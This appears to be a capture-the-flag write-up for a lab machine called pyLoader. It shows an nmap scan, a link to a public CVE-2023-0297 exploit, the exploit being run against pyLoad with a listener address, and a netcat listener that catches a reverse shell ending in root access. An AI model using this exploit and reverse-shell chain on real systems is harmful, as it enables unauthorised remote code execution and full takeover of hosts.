pyLoader

Nmap scan report for 192.168.248.26
Host is up (0.20s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b9:bc:8f:01:3f:85:5d:f9:5c:d9:fb:b6:15:a0:1e:74 (ECDSA)
|_  256 53:d9:7f:3d:22:8a:fd:57:98:fe:6b:1a:4c:ac:79:67 (ED25519)
9666/tcp open  http    CherryPy wsgiserver
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Cheroot/8.6.0
| http-title: Login - pyLoad 
|_Requested resource was /login?next=http://192.168.248.26:9666/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 115.42 seconds

• https://github.com/overgrowncarrot1/CVE-2023-0297

                                                  
┌──(kali㉿kali)-[~/ctf/pg/pyLoader/CVE-2023-0297]
└─$ bash CVE-2023-0297.sh -l 192.168.45.244 -p 80 -w http://192.168.248.26:9666 
         _____ _____  _____    ________   ___     _____  ___ ______ 
        |  _  |  __ \/  __ \   | ___ \ \ / / |   |  _  |/ _ \|  _  \                                                                                                                                               
        | | | | |  \/| /  \/   | |_/ /\ V /| |   | | | / /_\ \ | | |                                                                                                                                               
        | | | | | __ | |       |  __/  \ / | |   | | | |  _  | | | |                                                                                                                                               
        \ \_/ / |_\ \| \__/\   | |     | | | |___\ \_/ / | | | |/ /                                                                                                                                                
         \___/ \____/ \____/   \_|     \_/ \_____/\___/\_| |_/___/                                                                                                                                                 

 
Run nc -lvnp 80, press enter to continue                                                                                                                                                                           
                                                                                                                                                                                                                   

┌──(kali㉿kali)-[~/ctf/pg/pyLoader]
└─$ nc -lnvp 80
listening on [any] 80 ...
connect to [192.168.45.244] from (UNKNOWN) [192.168.248.26] 41650
bash: cannot set terminal process group (901): Inappropriate ioctl for device
bash: no job control in this shell
root@pyloader:~/.pyload/data# ls
lsiod
db.version
pyload.db
root@pyloader:~/.pyload/datid 
id
uid=0(root) gid=0(root) groups=0(root)